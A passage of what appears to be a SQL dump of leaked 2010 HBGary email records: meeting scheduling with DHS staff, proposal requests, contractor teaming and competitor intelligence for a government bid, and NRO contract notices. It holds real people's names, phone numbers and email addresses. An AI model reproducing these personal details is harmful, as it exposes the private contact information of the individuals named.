AM\r\nTo: Berndt, LukeCc: Beauchamp, DaleSubject: Availability for scheduling meeting with TSA\r\n\r\n\r\n\r\n \r\n\r\nHi Luke\r\n\r\n \r\n\r\nWhat is Doug&#39;s availability to meet with Dale next week?\r\n\r\n \r\n\r\n \r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',11364,'aaron_hbgary_com/11364.html'),(10098,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007866.M543076P14101Q4954.eml','\"Aaron Barr\" <aaron@hbgary.com>','proposal writing','Aaron\r\n \r\nI need to write a proposal that includes a brief description of Active Defense architecture and server requirements.  Do you have a brief description already written? It would also be helpful if you had a brief description of the advantages of host detection versus network detection?\r\n\r\n \r\nMy proposal is due today :)\r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',981,'aaron_hbgary_com/981.html'),(10099,'2010-08-11','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297007866.M78799P14101Q4952.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Rich','\r\n\r\nRe: Rich\r\n\r\n\r\nAaron - \r\n\r\nSorry for the delay in responding. &nbsp;Yes, I traded emails with Rich. &nbsp;He remembered the COIN market survey but didn&#8217;t offer up anything specifically. &nbsp;\r\n\r\nThat is great news on the SOW and our standing. &nbsp;Has anyone had comms with Google/Apple since our meeting? &nbsp;We&#8217;ll need to make sure we have the necessary agreements in place with them. &nbsp;I have not spoken with Chris C about this. \r\n\r\nTim \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 10 Aug 2010 11:56:38 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Rich\r\n\r\nDid u get the information on the contract?\r\n\r\nSOW has been approved. RFP to drop this month.\r\n\r\nWe are in very good shape based on my conversations with the customer yesterday. &nbsp;We are pitching exactly what they want.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n',3700,'aaron_hbgary_com/3700.html'),(10100,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007866.M801603P14101Q4955.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','Re: Rich','I asked for a meeting on Tuesday to discuss our position going into the RFP. &nbsp;This will be a primary point of discussion. &nbsp;Our commercial relationships and how we structure to manage them will be the key to winning this proposal vs. any individual capability our companies bring. &nbsp;Not to downplay what TASC, Archemedies, and HBGary bring to the table, but especially based on my most recent conversation this is where they are desperately wanting to move.John, lamented in our conversation that he wished the commercial companies were more willing to work with them, he conveyed a recent poor meeting they had with Google where they basically told them don\'t call us we will call you. &nbsp;I smiled and told John that it probably is very dependent on who approaches them and how they are approached. &nbsp;I told him he would be surprised what commercial companies will willing to work in this space under the right conditions. &nbsp;He smiled. and told me I needed to come in more often.No amount of capability from a large or small defense contractor is going to give them what they need.Some other intel. &nbsp;I was speaking with Mantech on another project and was told about some recent conversations they had with Leonie Industries. &nbsp;I am fairly certain Mantech has added them to the team with Abraxis. &nbsp;They will be easy to beat. &nbsp;I don\'t think SAIC/NG will be that much more difficult.My guess is part of your intel was correct that COIN is dead and it will be something else. &nbsp;I don\'t know what that does for our teaming agreements.AaronOn Aug 11, 2010, at 11:27 AM, Tim Riesen wrote:\r\nAaron - \r\n\r\nSorry for the delay in responding. &nbsp;Yes, I traded emails with Rich. &nbsp;He remembered the COIN market survey but didn’t offer up anything specifically. &nbsp;\r\n\r\nThat is great news on the SOW and our standing. &nbsp;Has anyone had comms with Google/Apple since our meeting? &nbsp;We’ll need to make sure we have the necessary agreements in place with them. &nbsp;I have not spoken with Chris C about this. \r\n\r\nTim \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 10 Aug 2010 11:56:38 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Rich\r\n\r\nDid u get the information on the contract?\r\n\r\nSOW has been approved. RFP to drop this month.\r\n\r\nWe are in very good shape based on my conversations with the customer yesterday. &nbsp;We are pitching exactly what they want.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n',5852,'aaron_hbgary_com/5852.html'),(10101,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007867.M501543P14101Q4956.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: proposal writing','Maria,Sorry I can call back in a bit, on some tight proposal deadlines for today myself, content due by 12pm EST.Ted should be able to help you out.AaronOn Aug 11, 2010, at 11:30 AM, Maria Lucas wrote:Aaron\r\n&nbsp;\r\nI need to write a proposal that includes a brief description of Active Defense architecture and server requirements.&nbsp; Do you have a brief description already written?&nbsp;It would also be helpful if you had a brief description of the advantages of host detection versus network detection?\r\n\r\n&nbsp;\r\nMy proposal is due today :)\r\n&nbsp;\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',6966,'aaron_hbgary_com/6966.html'),(10102,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007867.M711074P14101Q4957.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: Availability for scheduling meeting with TSA','I can meet if he has the time, will provide some context and then he can go see Ted and GFIRST.AaronOn Aug 11, 2010, at 11:28 AM, Maria Lucas wrote:fyi&nbsp; next week Doug maughan is available Monday only and then he will be at GFIRST.&nbsp; See below.\r\n---------- Forwarded message ----------From: Berndt, Luke &lt;Luke.Berndt@dhs.gov&gt;Date: Wed, Aug 11, 2010 at 8:12 AM\r\nSubject: RE: Availability for scheduling meeting with TSATo: Maria Lucas &lt;maria@hbgary.com&gt;Cc: \"Beauchamp, Dale\" &lt;Dale.Beauchamp@dhs.gov&gt;\r\n\r\n\r\nGood morning,I just checked with Doug. He is available on the 16th next week and will be in the office til about 1pm. He will be out on travel the rest of the week at the DREN conference and GFirst, not sure if either of you will be attending those.&nbsp;Doug is will be around the Aug 23-25, if that lines up better.&nbsp;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Luke&nbsp;\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, August 11, 2010 9:18 AM\r\nTo: Berndt, LukeCc: Beauchamp, DaleSubject: Availability for scheduling meeting with TSA\r\n\r\n\r\n&nbsp;\r\nHi Luke\r\n&nbsp;\r\nWhat is Doug\'s availability to meet with Dale next week?\r\n&nbsp;\r\n&nbsp;\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n',13827,'aaron_hbgary_com/13827.html'),(10103,'2010-08-11','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297007868.M2665P14101Q4958.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Rich','\r\n\r\nRe: Rich\r\n\r\n\r\nI&#8217;ll forward you the notes from Rich &#8211; given your history with this, his comments will likely make more sense to you. &nbsp;\r\n\r\nIs the meeting next Tuesday? &nbsp;\r\n\r\nWho is John, btw? &nbsp;\r\n\r\nLeonie is desperate to get access to OGA customers. &nbsp;They have approached us numerous times because of our prime contracts over there. &nbsp;I only mention this because if cost is an issue, I&#8217;m certain they will price themselves low just to gain access. They do have relevant past performance, but not for this customer. &nbsp;With our three companies and Telemus (the folks we met with a few weeks ago who TASC would like to fill the ops positions), combined with the commercial partners, we have an incredibly strong team. &nbsp;&nbsp;\r\n\r\nTeaming agreements shouldn&#8217;t be a problem, provided they were written the right way (allowing for a change in name of the program but not the scope). &nbsp;I don&#8217;t know where TASC stands on this. &nbsp;Could we arrange a conf call with them just to see where we stand on everything? \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 11 Aug 2010 11:35:49 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Re: Rich\r\n\r\nI asked for a meeting on Tuesday to discuss our position going into the RFP. &nbsp;This will be a primary point of discussion. &nbsp;Our commercial relationships and how we structure to manage them will be the key to winning this proposal vs. any individual capability our companies bring. &nbsp;Not to downplay what TASC, Archemedies, and HBGary bring to the table, but especially based on my most recent conversation this is where they are desperately wanting to move.\r\n\r\nJohn, lamented in our conversation that he wished the commercial companies were more willing to work with them, he conveyed a recent poor meeting they had with Google where they basically told them don\'t call us we will call you. &nbsp;I smiled and told John that it probably is very dependent on who approaches them and how they are approached. &nbsp;I told him he would be surprised what commercial companies will willing to work in this space under the right conditions. &nbsp;He smiled. and told me I needed to come in more often.\r\n\r\nNo amount of capability from a large or small defense contractor is going to give them what they need.\r\n\r\nSome other intel. &nbsp;I was speaking with Mantech on another project and was told about some recent conversations they had with Leonie Industries. &nbsp;I am fairly certain Mantech has added them to the team with Abraxis. &nbsp;They will be easy to beat. &nbsp;I don\'t think SAIC/NG will be that much more difficult.\r\n\r\nMy guess is part of your intel was correct that COIN is dead and it will be something else. &nbsp;I don\'t know what that does for our teaming agreements.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 11, 2010, at 11:27 AM, Tim Riesen wrote:\r\n\r\nAaron - \r\n\r\nSorry for the delay in responding. &nbsp;Yes, I traded emails with Rich. &nbsp;He remembered the COIN market survey but didn&#8217;t offer up anything specifically. &nbsp;\r\n\r\nThat is great news on the SOW and our standing. &nbsp;Has anyone had comms with Google/Apple since our meeting? &nbsp;We&#8217;ll need to make sure we have the necessary agreements in place with them. &nbsp;I have not spoken with Chris C about this. \r\n\r\nTim \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com &lt;x-msg://536/aaron@hbgary.com&gt; &gt;\r\nDate: Tue, 10 Aug 2010 11:56:38 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com &lt;x-msg://536/tjriesen@archimedesglobal.com&gt; &gt;\r\nSubject: Rich\r\n\r\nDid u get the information on the contract?\r\n\r\nSOW has been approved. RFP to drop this month.\r\n\r\nWe are in very good shape based on my conversations with the customer yesterday. &nbsp;We are pitching exactly what they want.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4923,'aaron_hbgary_com/4923.html'),(10104,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007868.M539381P14101Q4959.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','Re: Rich','Notes would be appreciated.John is the Chief of the Internet Branch for who this effort is being built. &nbsp;He is the one that reviewed and approved the SOW. &nbsp;He is who all this is for, and a good personal friend. &nbsp;He said he was going to be involved in the review process, which somewhat surprises me given potentially multiple conflicts, but they are a very different organization after all (he is a close friend, but he also used to work for both SAIC and NG). &nbsp;Ultimately John will do what is right for the mission despite any history. &nbsp;Thats one of the many things I like about him.Supposedly meeting is next tuesday, but haven\'t heard back from Chris. &nbsp;I will let you know and get you included if your already not.On Leonie, I know Bob Frisbie (who is leading this effort for Mantech) has a lot of history with them from his 1st IO days. &nbsp;I have talked with them a few times and have been underwhelmed by the capabilities in new media. &nbsp;This is the Internet branch after all. &nbsp;But understand they have a lot of past performance and experience in traditional media. &nbsp;Ultimately with the existing team I don\'t think they add much, and I think they are probably already signed anyway.AaronOn Aug 11, 2010, at 11:44 AM, Tim Riesen wrote:\r\nI’ll forward you the notes from Rich – given your history with this, his comments will likely make more sense to you. &nbsp;\r\n\r\nIs the meeting next Tuesday? &nbsp;\r\n\r\nWho is John, btw? &nbsp;\r\n\r\nLeonie is desperate to get access to OGA customers. &nbsp;They have approached us numerous times because of our prime contracts over there. &nbsp;I only mention this because if cost is an issue, I’m certain they will price themselves low just to gain access. They do have relevant past performance, but not for this customer. &nbsp;With our three companies and Telemus (the folks we met with a few weeks ago who TASC would like to fill the ops positions), combined with the commercial partners, we have an incredibly strong team. &nbsp;&nbsp;\r\n\r\nTeaming agreements shouldn’t be a problem, provided they were written the right way (allowing for a change in name of the program but not the scope). &nbsp;I don’t know where TASC stands on this. &nbsp;Could we arrange a conf call with them just to see where we stand on everything? \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 11 Aug 2010 11:35:49 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Re: Rich\r\n\r\nI asked for a meeting on Tuesday to discuss our position going into the RFP. &nbsp;This will be a primary point of discussion. &nbsp;Our commercial relationships and how we structure to manage them will be the key to winning this proposal vs. any individual capability our companies bring. &nbsp;Not to downplay what TASC, Archemedies, and HBGary bring to the table, but especially based on my most recent conversation this is where they are desperately wanting to move.\r\n\r\nJohn, lamented in our conversation that he wished the commercial companies were more willing to work with them, he conveyed a recent poor meeting they had with Google where they basically told them don\'t call us we will call you. &nbsp;I smiled and told John that it probably is very dependent on who approaches them and how they are approached. &nbsp;I told him he would be surprised what commercial companies will willing to work in this space under the right conditions. &nbsp;He smiled. and told me I needed to come in more often.\r\n\r\nNo amount of capability from a large or small defense contractor is going to give them what they need.\r\n\r\nSome other intel. &nbsp;I was speaking with Mantech on another project and was told about some recent conversations they had with Leonie Industries. &nbsp;I am fairly certain Mantech has added them to the team with Abraxis. &nbsp;They will be easy to beat. &nbsp;I don\'t think SAIC/NG will be that much more difficult.\r\n\r\nMy guess is part of your intel was correct that COIN is dead and it will be something else. &nbsp;I don\'t know what that does for our teaming agreements.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 11, 2010, at 11:27 AM, Tim Riesen wrote:\r\n\r\nAaron - \r\n\r\nSorry for the delay in responding. &nbsp;Yes, I traded emails with Rich. &nbsp;He remembered the COIN market survey but didn’t offer up anything specifically. &nbsp;\r\n\r\nThat is great news on the SOW and our standing. &nbsp;Has anyone had comms with Google/Apple since our meeting? &nbsp;We’ll need to make sure we have the necessary agreements in place with them. &nbsp;I have not spoken with Chris C about this. \r\n\r\nTim \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com &lt;x-msg://536/aaron@hbgary.com&gt; &gt;\r\nDate: Tue, 10 Aug 2010 11:56:38 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com &lt;x-msg://536/tjriesen@archimedesglobal.com&gt; &gt;\r\nSubject: Rich\r\n\r\nDid u get the information on the contract?\r\n\r\nSOW has been approved. RFP to drop this month.\r\n\r\nWe are in very good shape based on my conversations with the customer yesterday. &nbsp;We are pitching exactly what they want.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14149,'aaron_hbgary_com/14149.html'),(10105,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007871.M246519P14101Q4960.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"Kirby Kintner\" <kkintner@digitalmanagement.com>','What I have to date','Not completely happy with my inputs completeness or lack their of, just didn\'t have the time I needed.\r\n\r\nI will keep adding.  Looking forward to input so I can improve delivery of content.\r\n\r\nI am still planning to be in your facility Friday and Monday, can be there most of rest of next week as well.  I will work on two page overall solution given the wheel.\r\n\r\nAaron\r\n\r\n',10684,'aaron_hbgary_com/10684.html'),(10106,'2010-08-11','arc@westfields.net','/aaron@hbgary.com/new/1297007871.M748529P14101Q4961.eml','federal@hbgary.com','IMINT Sole Source Business Opportunity Posting','\r\nThe NRO/IMINT Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: CPAF. The Effort Type is SETA.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',14759,'aaron_hbgary_com/14759.html'),(10107,'2010-08-11','arc@westfields.net','/aaron@hbgary.com/new/1297007872.M119312P14101Q4962.eml','federal@hbgary.com','AS&T Sole Source Business Opportunity Posting','\r\nThe NRO/AS&T Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: CPFF. The Effort Type is R&D.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC 